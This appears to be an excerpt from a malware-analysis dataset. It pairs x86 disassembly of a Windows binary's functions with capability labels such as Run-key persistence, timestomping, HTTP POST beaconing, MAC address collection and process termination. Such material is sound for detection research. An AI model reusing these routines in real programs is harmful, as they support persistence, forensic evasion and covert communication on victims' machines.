joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
push ebx
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
mov edi, 0x444b18
mov ebx, 0x444afc
lea ecx, [ecx]
mov eax, dword [edi]
push eax
call fcn.00420d1e
mov ebx, ebx
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401030
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401040
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
sub esp, 0xfffffffc
mov esi, eax
mov edx, dword [ebx]
mov eax, dword [edi]
push edx
push eax
call fcn.00420d1e
sub esp, 0xfffffffc
push eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40110b
push esi
call fcn.00420c59
sub ebx, 0xfffffffc
add esp, 4
cmp ebx, 0x444b18
jl 0x401020
add edi, 4
cmp edi, 0x444b1c
jl 0x401018
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
mov edi, eax
sub esp, 0xfffffffc
call fcn.00420c76
cdq
mov ebx, edi
mov ecx, 7
idiv ecx
mov esi, dword [edx*4 + 0x444afc]
lea edx, [ebx + 1]
mov cl, byte [ebx]
inc ebx
test cl, cl
jne 0x4010d6
sub ebx, edx
mov edx, ebx
mov eax, esi
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x4010e6
sub eax, ebx
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push esi
mov esi, eax
push edi
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x14
pop ebx
pop edi
mov eax, esi
pop esi
ret
Function at 0x401120
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, esp
push ecx
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
sub esp, 0xfffffff8
push ebx
push ebp
mov dword [esi - 4], 0x444b1c
push edi
mov edi, edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
sub esp, 0xfffffff8
mov edi, 0x444b18
mov ebx, 0x444afc
lea edi, [edi]
mov eax, dword [edi]
push eax
call fcn.00420d1e
lea edx, [eax + 1]
sub esp, 0xfffffffc
mov ebx, ebx
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401170
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea ebp, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401180
sub eax, ebp
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
mov ebp, eax
mov edx, dword [ebx]
add esp, 4
mov eax, dword [edi]
push edx
push eax
call fcn.00420d1e
sub esp, 0xfffffffc
push eax
push 0x43c26c
push ebp
call fcn.00420bd5
add esp, 0x10
push ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40124b
push ebp
call fcn.00420c59
sub ebx, 0xfffffffc
add esp, 4
cmp ebx, 0x444b18
jl 0x401160
sub edi, 0xfffffffc
cmp edi, 0x444b1c
jl 0x401155
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
add esp, 4
mov edi, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, edi
mov ebx, dword [edx*4 + 0x444afc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401216
sub eax, edx
mov edx, eax
mov eax, ebx
lea ebp, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401226
sub eax, ebp
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push ebx
mov ebp, eax
push edi
push 0x43c26c
push ebp
call fcn.00420bd5
add esp, 0x14
mov ebx, ebp
lea edi, [ebx + 1]
mov cl, byte [ebx]
inc ebx
or cl, cl
jne 0x401250
sub ebx, edi
mov edx, ebx
mov ebx, dword [esi - 4]
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401263
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ff97
mov edi, eax
mov ecx, dword [ebx]
push ecx
push ebp
push 0x43c26c
push edi
call fcn.00420bd5
push ebp
call fcn.00420c59
add esp, 0x18
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
jne 0x401324
push edi
call fcn.00420c59
add ebx, 4
add esp, 4
mov dword [esi - 4], ebx
cmp ebx, 0x444b3c
jl 0x401140
call fcn.00401000
mov edi, eax
call fcn.00420c76
and eax, 0x80000007
jns 0x4012d2
dec eax
or eax, 0xfffffff8
inc eax
mov ebp, dword [eax*4 + 0x444b1c]
mov ebx, edi
lea eax, [ebx + 1]
mov edi, edi
mov cl, byte [ebx]
inc ebx
test cl, cl
jne 0x4012e0
sub ebx, eax
mov eax, ebp
mov edx, ebx
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x4012f0
sub eax, ebx
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
mov ebx, eax
push ebp
push edi
push 0x43c26c
push ebx
call fcn.00420bd5
push edi
call fcn.00420c59
mov eax, ebx
add esp, 0x18
pop edi
pop ebp
pop ebx
mov esp, esi
pop esi
ret
mov eax, edi
pop edi
pop ebp
pop ebx
mov esp, esi
pop esi
ret
Function at 0x401330
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
push ebx
push edi
mov dword [ebp - 4], 0x444ae0
push esi
mov esi, esi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
sub esp, 0xfffffff8
mov esi, 0x444b18
mov edi, 0x444afc
lea esi, [esi]
mov eax, dword [esi]
push eax
call fcn.00420d1e
lea edx, [eax + 1]
add esp, 4
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401380
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401390
sub eax, ebx
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
mov edx, dword [edi]
add esp, 4
mov ebx, eax
mov eax, dword [esi]
push edx
push eax
call fcn.00420d1e
add esp, 4
push eax
push 0x43c26c
push ebx
call fcn.00420bd5
add esp, 0x10
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
jne 0x40145b
push ebx
call fcn.00420c59
add edi, 4
add esp, 4
cmp edi, 0x444b18
jl 0x401370
sub esi, 0xfffffffc
cmp esi, 0x444b1c
jl 0x401365
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
add esp, 4
mov edi, eax
call fcn.00420c76
cdq
mov ecx, 7
mov ebx, edi
idiv ecx
mov esi, dword [edx*4 + 0x444afc]
lea edx, [ebx + 1]
mov cl, byte [ebx]
inc ebx
or cl, cl
jne 0x401426
sub ebx, edx
mov eax, esi
mov edx, ebx
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401436
sub eax, ebx
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
mov ebx, eax
push esi
push edi
push 0x43c26c
push ebx
call fcn.00420bd5
sub esp, 0xffffffec
mov edi, ebx
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x401460
sub edi, eax
mov esi, dword [ebp - 4]
mov edx, edi
mov eax, dword [esi]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401473
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ff97
mov ecx, dword [esi]
mov edi, eax
push ecx
push ebx
push 0x43c26c
push edi
call fcn.00420bd5
sub esp, 0xffffffec
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401534
push ebx
call fcn.00420c59
push edi
call fcn.00420c59
sub esi, 0xfffffffc
mov dword [ebp - 4], esi
sub esp, 0xfffffff8
cmp esi, 0x444afc
jl 0x401350
call fcn.00401000
mov esi, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, esi
mov edi, dword [edx*4 + 0x444ae0]
lea ebx, [eax + 1]
lea edi, [edi]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4014f0
sub eax, ebx
mov edx, eax
mov eax, edi
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x401500
sub eax, ebx
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push edi
mov edi, eax
push esi
push 0x43c26c
push edi
call fcn.00420bd5
push esi
call fcn.00420c59
sub esp, 0xffffffe8
mov eax, edi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401540
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
push ecx
push edi
push ebp
push esi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esp, 0xfffffff8
xor edi, edi
lea eax, [ebx - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call ebp
mov eax, dword [ebx - 4]
or eax, eax
je 0x4015a4
mov ecx, dword [edi*4 + 0x444ac0]
push 0
push 0
push 0
push 0
push ecx
push eax
call esi
or eax, eax
je 0x4015c9
mov edx, dword [ebx - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
cmp edi, 8
jl 0x401565
call fcn.00420c76
and eax, 0x80000007
jns 0x4015bb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x444ac0]
pop esi
pop ebp
pop edi
mov esp, ebx
pop ebx
ret
mov eax, dword [ebx - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [edi*4 + 0x444ac0]
pop esi
pop ebp
pop edi
mov esp, ebx
pop ebx
ret

Function at 0x401fe0
Capabilities:
Timestomp file

Disassembly:
push edi
mov edi, esp
sub esp, 0xa0
mov eax, dword [0x441480]
xor eax, edi
mov dword [edi - 8], eax
mov eax, dword [edi + 8]
push esi
push ebp
push ebx
push str.SYSTEMROOT
mov dword [edi - 0x98], eax
call fcn.00420d1e
sub esp, 0xfffffffc
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x402010
sub eax, edx
sub eax, 0xffffffe0
push eax
call fcn.0041ff97
push str.SYSTEMROOT
mov esi, eax
call fcn.00420d1e
push eax
push str._s_notepad.exe
push esi
call fcn.00420bd5
mov ebp, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [edi - 0x94]
push ecx
push esi
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4020a1
lea edx, [edi - 0xa0]
push 0
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [edi - 0x94]
mov ecx, dword [edi - 0x98]
push 2
push eax
push ecx
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4020a1
lea edx, [edi - 0xa0]
push 0
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00420c59
add esp, 4
mov ecx, dword [edi - 8]
xor ecx, edi
pop ebx
pop ebp
pop esi
call fcn.00420bc6
mov esp, edi
pop edi
ret
Function at 0x403c10
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437e9b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x441480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00420795
push 4
mov dword [ebp - 4], 0
call fcn.00422769
mov edi, eax
add esp, 4
test edi, edi
je 0x403c8c
call fcn.00420590
mov dword [edi], eax
call fcn.0042034f
lea ecx, [ebp - 0x10]
mov ebx, eax
push 0
call fcn.00420756
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403c82
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0042077e
jmp 0x403c8e
xor edi, edi
lea edx, [esi + 0x1c]
lea eax, [esi + 0x18]
lea ebx, [esi + 8]
mov dword [esi + 0x10], ebx
lea ebx, [esi + 0x28]
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], edx
lea edx, [esi + 0xc]
mov dword [esi + 0x38], edi
mov dword [esi + 0x14], edx
mov dword [esi + 0x30], ebx
lea ebx, [esi + 0x2c]
mov dword [esi + 0x34], ebx
mov dword [edx], 0
mov ebx, dword [esi + 0x24]
mov dword [ebx], 0
mov eax, dword [esi + 0x34]
mov dword [eax], 0
mov ebx, dword [esi + 0x10]
mov dword [ebx], 0
mov edi, dword [esi + 0x20]
mov dword [edi], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov edi, dword [ebp - 0xc]
mov dword fs:[0], edi
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
push 0xffffffffffffffff
push 0x437ddb
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x441480]
xor eax, ebx
mov dword [ebx - 0x10], eax
push ebp
mov ebp, edx
push esi
push edi
mov esi, ecx
xor edi, edi
push eax
lea eax, [ebx - 0xc]
mov dword fs:[0], eax
lea eax, [ebx - 0x424]
push edi
push eax
mov dword [ebx - 0x424], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
or eax, eax
je 0x4044f3
cmp byte [0x444a85], 0
mov dword [ebx - 0x414], edi
jne 0x40436b
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
or edi, edi
mov dword [ebx - 0x428], edi
je 0x4044ed
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebx - 0x418], esi
test esi, esi
je 0x4044e6
push 1
push 0x400000
push 0
push 0
push 0
push ebp
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x4044df
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
or eax, eax
je 0x4044d8
push 1
call fcn.00422819
lea edx, [ebx - 0x414]
mov edi, eax
mov dword [ebx - 0x420], edi
xor eax, eax
mov dword [ebx - 0x41c], eax
add esp, 4
push edx
mov dword [ebx - 4], eax
lea eax, [ebx - 0x410]
push 0x3ff
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
je 0x4044b6
mov edi, dword [ebx - 0x414]
or edi, edi
je 0x404472
lea ecx, [ebx - 0x410]
lea esi, [ebx - 0x420]
push ecx
mov byte [ebx + edi - 0x410], 0
call fcn.004050e0
lea edx, [ebx - 0x414]
push edx
lea eax, [ebx - 0x410]
push 0x3ff
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
jne 0x404430
mov eax, dword [ebx - 0x41c]
or eax, eax
jle 0x4044aa
inc eax
push eax
call fcn.0041ff97
mov edi, dword [ebx - 0x420]
mov edx, eax
mov dword [ebx - 0x414], edx
add esp, 4
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404498
mov esi, dword [ebx - 0x418]
jmp 0x4044c9
mov edi, dword [ebx - 0x420]
mov esi, dword [ebx - 0x418]
push 8
call fcn.0041ff97
add esp, 4
mov dword [ebx - 0x414], eax
mov byte [eax], 0
push edi
call fcn.004214f1
add esp, 4
mov edi, dword [ebx - 0x428]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebx - 0x414]
mov edi, dword [ebx - 0xc]
mov dword fs:[0], edi
pop ebp
mov ecx, dword [ebx - 0x10]
xor ecx, ebx
pop edi
pop esi
pop ebp
call fcn.00420bc6
mov esp, ebx
pop ebx
ret
Function at 0x404510
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
add esp, 0xfffffbe8
mov eax, dword [0x441480]
xor eax, ebx
mov dword [ebx - 4], eax
mov eax, dword [ebx + 8]
push esi
mov esi, edx
push edi
mov edi, ecx
lea ecx, [ebx - 0x414]
push ebp
xor ebp, ebp
push ebp
push ecx
mov dword [ebx - 0x408], eax
mov dword [ebx - 0x414], ebp
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
or eax, eax
jne 0x40455e
mov ecx, dword [ebx - 4]
pop ebp
pop edi
pop esi
xor ecx, ebx
call fcn.00420bc6
mov esp, ebx
pop ebx
ret
push esi
mov dword [ebx - 0x40c], ebp
call fcn.004227e9
add esp, 4
cmp byte [0x444a85], 0
jne 0x404582
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x8c]
push ebp
push ebp
push ebp
push ebp
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [ebx - 0x418], ebp
test ebp, ebp
je 0x40469b
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push ebp
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
mov dword [ebx - 0x410], edi
je 0x404694
mov eax, dword [ebx - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43c484
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
or ebp, ebp
je 0x404687
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
or eax, eax
je 0x404680
push 0x43c304
push esi
mov dword [ebx - 0x40c], 1
call fcn.00421d73
mov edi, eax
sub esp, 0xfffffff8
test edi, edi
je 0x40467a
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov ebp, ebp
lea ecx, [ebx - 0x408]
lea edx, [ebx - 0x404]
push ecx
push 0x3ff
push edx
push ebp
call esi
test eax, eax
je 0x404671
mov eax, dword [ebx - 0x408]
test eax, eax
je 0x404671
push edi
push eax
mov byte [ebx + eax - 0x404], 0
push 1
lea eax, [ebx - 0x404]
push eax
call fcn.004222be
add esp, 0x10
jmp 0x404630
push edi
call fcn.004226f5
add esp, 4
mov edi, dword [ebx - 0x410]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebp, dword [ebx - 0x418]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebx - 4]
pop ebp
pop edi
mov eax, dword [ebx - 0x40c]
xor ecx, ebx
pop esi
call fcn.00420bc6
mov esp, ebx
pop ebx
ret
Function at 0x404910
Capabilities:
Check if file exists
Check internet connectivity via wininet

Disassembly:
push esi
mov esi, esp
mov eax, dword [esi + 8]
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, edx
push ebp
push edi
mov ebp, ecx
push ebx
mov dword [esp + 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
jne 0x40493b
xor eax, eax
pop edi
pop ebp
pop ebx
mov esp, esi
pop esi
ret
push ebx
mov dword [esp + 0x10], 0
lea ebx, [esp + 0x10]
call fcn.00401db0
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x404932
push 0
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
or eax, eax
jne 0x404983
xor edi, edi
push ebx
call fcn.00420c59
sub esp, 0xfffffffc
mov eax, edi
pop edi
pop ebp
pop ebx
mov esp, esi
pop esi
ret
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
mov ecx, ebp
mov edx, dword [esp + 0x18]
push eax
push ebx
call fcn.004046c0
sub esp, 0xfffffff4
push ebx
mov edi, eax
call fcn.00420c59
mov eax, edi
sub esp, 0xfffffffc
pop edi
pop ebp
pop ebx
mov esp, esi
pop esi
ret

Function at 0x404bb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
mov esi, esp
add esp, 0xfffffff4
push edi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
or edi, edi
mov dword [esi - 0xc], edi
jne 0x404bd0
pop edi
mov esp, esi
pop esi
ret
push ebx
push 3
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
mov dword [esi - 8], ebx
or ebx, ebx
je 0x404bff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404bff
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esi - 4], eax
or eax, eax
jne 0x404c0e
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
xor eax, eax
pop edi
mov esp, esi
pop esi
ret
mov edi, dword [ebx + 4]
push ebp
push edi
call fcn.0041ff97
add esp, 4
test edi, edi
mov ebp, eax
je 0x404c34
mov edx, edi
mov ecx, dword [esi - 4]
sub ecx, ebp
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x404c28
mov ebx, dword [esi - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esi - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [esi + 8]
mov eax, ebp
pop ebp
pop ebx
mov dword [edx], edi
pop edi
mov esp, esi
pop esi
ret
Function at 0x4053d0
Capabilities:
Get mac address on windows

Disassembly:
push edi
mov edi, esp
push ecx
push esi
push 0x288
mov dword [edi - 4], 4
call fcn.00422819
sub esp, 0xfffffffc
mov esi, eax
or esi, esi
jne 0x4053f4
pop esi
mov esp, edi
pop edi
ret
push ebp
mov ebp, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [edi - 4]
push eax
push esi
call ebp
cmp eax, 0x6f
jne 0x405419
mov ecx, dword [edi - 4]
push ecx
call fcn.00422819
add esp, 4
mov esi, eax
or esi, esi
je 0x40548a
lea edx, [edi - 4]
push edx
push esi
call ebp
or eax, eax
jne 0x40547d
or esi, esi
je 0x40548a
push 0x10
call fcn.0041ff97
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
mov ebp, eax
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push ebp
call fcn.00420bd5
push esi
call fcn.004214f1
add esp, 0x28
mov eax, ebp
pop ebp
pop esi
mov esp, edi
pop edi
ret
test esi, esi
je 0x40548a
push esi
call fcn.004214f1
sub esp, 0xfffffffc
xor eax, eax
pop ebp
pop esi
mov esp, edi
pop edi
ret

Function at 0x4054a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push edi
mov edi, esp
add esp, 0xfffffecc
mov eax, dword [0x441480]
xor eax, edi
mov dword [edi - 8], eax
push esi
lea eax, [edi - 0x134]
push ebp
push eax
push ebx
mov dword [edi - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
or eax, eax
je 0x4055b1
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x4054e0
lea esp, [esp]
lea eax, [edi - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4054f0
sub eax, edx
inc eax
push eax
call fcn.0041ff97
mov ebp, eax
add esp, 4
lea eax, [edi - 0x110]
mov edx, eax
mov ecx, ebp
sub ecx, edx
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
or dl, dl
jne 0x405511
mov eax, ebp
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405520
sub eax, ecx
mov edx, eax
xor ecx, ecx
or edx, edx
jle 0x405546
mov al, byte [ecx + ebp]
cmp al, 0x41
jl 0x405541
cmp al, 0x5a
jg 0x405541
add al, 0x20
mov byte [ecx + ebp], al
inc ecx
cmp ecx, edx
jl 0x405531
mov ecx, dword [edi + 8]
mov eax, ebp
jmp 0x405550
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405570
or dl, dl
je 0x40556c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405570
sub eax, 0xfffffffe
add ecx, 2
or dl, dl
jne 0x405550
xor eax, eax
jmp 0x405575
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x405592
mov edx, dword [edi - 0x12c]
push edx
push eax
push 1
call esi
test eax, eax
je 0x405592
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebp
call fcn.00420c59
lea eax, [edi - 0x134]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4054e0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi - 8]
pop ebp
xor ecx, edi
pop esi
call fcn.00420bc6
mov esp, edi
pop edi
ret
Function at 0x4055d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push 0x184
push 0
xor bl, bl
push esi
call fcn.00429890
sub esp, 0xfffffff4
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405634
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x40562a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret